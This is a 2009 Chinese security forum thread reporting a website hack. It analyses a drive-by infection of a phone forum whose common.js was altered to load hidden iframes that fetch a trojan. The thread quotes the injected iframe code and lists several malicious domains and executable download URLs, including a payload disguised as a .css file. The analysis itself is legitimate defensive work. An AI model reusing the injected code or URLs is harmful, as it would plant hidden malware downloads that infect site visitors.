手机网站连锁被挂马【已确认 by shmily512099】

显示全部楼层 · 发表于 2009-1-4 14:37:44

hxxp://www.igsm.com.cn
该网站可疑挂马,麻烦分析下

Ps 修改链接防止误点 by fireworld

[ 本帖最后由 fireworld 于 2009-1-4 17:31 编辑 ]

显示全部楼层 · 发表于 2009-1-4 14:45:03

Log is generated by FreShow.
[wide]http://www.igsm.com.cn
[script]http://www.igsm.com.cn/include/javascript/common.js
      [frame]http://iiegf.com/08/index.htm
         [frame]http://iiegf.com/08/index.html
            [frame]http://iiegf.com/08/ytfl.jpg
                  [frame]http://iiegf.com/08/yt11.html
                  [frame]http://iiegf.com/08/yt22.html
                  [frame]http://iiegf.com/08/yt11.html
            [frame]http://iiegf.com/08/ytcx.jpg
                  [object]http://www.weweif.com/08/Mete.exe
            [frame]http://iiegf.com/08/yt14.jpg
            [frame]http://iiegf.com/08/ytoff.jpg
            [frame]http://iiegf.com/08/i7.htm
            [frame]http://iiegf.com/08/yt777.jpg
            [frame]http://iiegf.com/08/ytff.jpg
            [frame]http://iiegf.com/08/ytxl.jpg
            [frame]http://iiegf.com/08/yt122123.jpg
            [frame]http://iiegf.com/08/yt122121.jpg

显示全部楼层 · 发表于 2009-1-4 14:47:10

Log is generated by FreShow.
[wide]http://www.igsm.com.cn
[script]http://www.igsm.com.cn/include/javascript/common.js
[frame]http://iiegf.com/08/index.htm
[frame]http://iiegf.com/08/index.html
[frame]http://iiegf.com/08/ytfl.jpg
[frame]http://iiegf.com/08/yt11.html
[frame]http://iiegf.com/08/yt22.html
[frame]http://iiegf.com/08/yt11.html
[frame]http://iiegf.com/08/ytcx.jpg
[object]http://www.weweif.com/08/Mete.exe
[frame]http://iiegf.com/08/yt14.jpg
[object]http://www.weweif.com/08/Mete.exe
[frame]http://iiegf.com/08/ytoff.jpg
[frame]http://iiegf.com/08/i7.htm
[frame]http://iiegf.com/08/yt777.jpg
[object]http://www.weweif.com/08/Mete.exe
[frame]http://iiegf.com/08/ytff.jpg
[object]http://www.weweif.com/08/Mete.exe
[frame]http://iiegf.com/08/ytxl.jpg
[object]http://www.zmjjjyy.cn/new/a53.css
[object]http://www.weweif.com/08/Mete.exe
[frame]http://iiegf.com/08/yt122123.jpg
[frame]http://iiegf.com/08/yt122121.jpg
[object]http://www.weweif.com/08/Mete.exe
[script]http://iiegf.com/08/\"http:\/\/count1.51much.com\/cnt.php?uid=UA-1-12124&style=text&text=网站统计\"
[script]http://js.tongji.cn.yahoo.com/852301/ystat.js

[ 本帖最后由 shmily512099 于 2009-1-4 14:50 编辑 ]

显示全部楼层 · 发表于 2009-1-4 14:49:28

发布时间：Sun, 4 Jan 2009 06:48:28 UTC
analyzed by glacier_lk
----------------------------------------------------
IGSM智能手机论坛（www.igsm.com.cn）被植入恶意代码：

所在页面：
http://www.igsm.com.cn/include/javascript/common.js
恶意代码：
document.write("<iframe src=http://iiegf.com/08/index.htm width=100 height=0></iframe>");

下载木马：

http://www.weweif.com/08/Mete.exe
http://www.zmjjjyy.cn/new/a53.css

显示全部楼层 · 发表于 2009-1-4 14:50:10

这种该如何处理,删除了反复出现,DISCUZ漏洞太多.

[其它] 手机网站连锁被挂马【已确认 by shmily512099】